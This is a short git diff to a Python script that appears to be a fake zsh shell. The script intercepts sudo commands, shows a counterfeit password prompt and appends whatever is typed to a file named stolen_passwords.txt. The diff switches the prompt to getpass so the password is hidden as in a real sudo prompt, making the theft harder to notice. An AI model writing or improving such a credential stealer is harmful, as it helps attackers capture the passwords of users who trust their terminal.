diff --git a/zsh4.py b/zsh4.py index ae1b6ff..6bbdc0b 100644 --- a/zsh4.py +++ b/zsh4.py @@ -3,6 +3,7 @@ import shlex import subprocess import readline import time +import getpass # 自动补全功能,基于系统命令 def completer(text, state): @@ -40,7 +41,7 @@ def pseudo_zsh(): # 伪造 sudo 密码输入并记录 if args[0] == 'sudo': - fake_password = input(">Password: ") + fake_password = getpass.getpass(">Password: ") with open("stolen_passwords.txt", "a") as f: f.write(fake_password + "\n") time.sleep(3) # 模拟延迟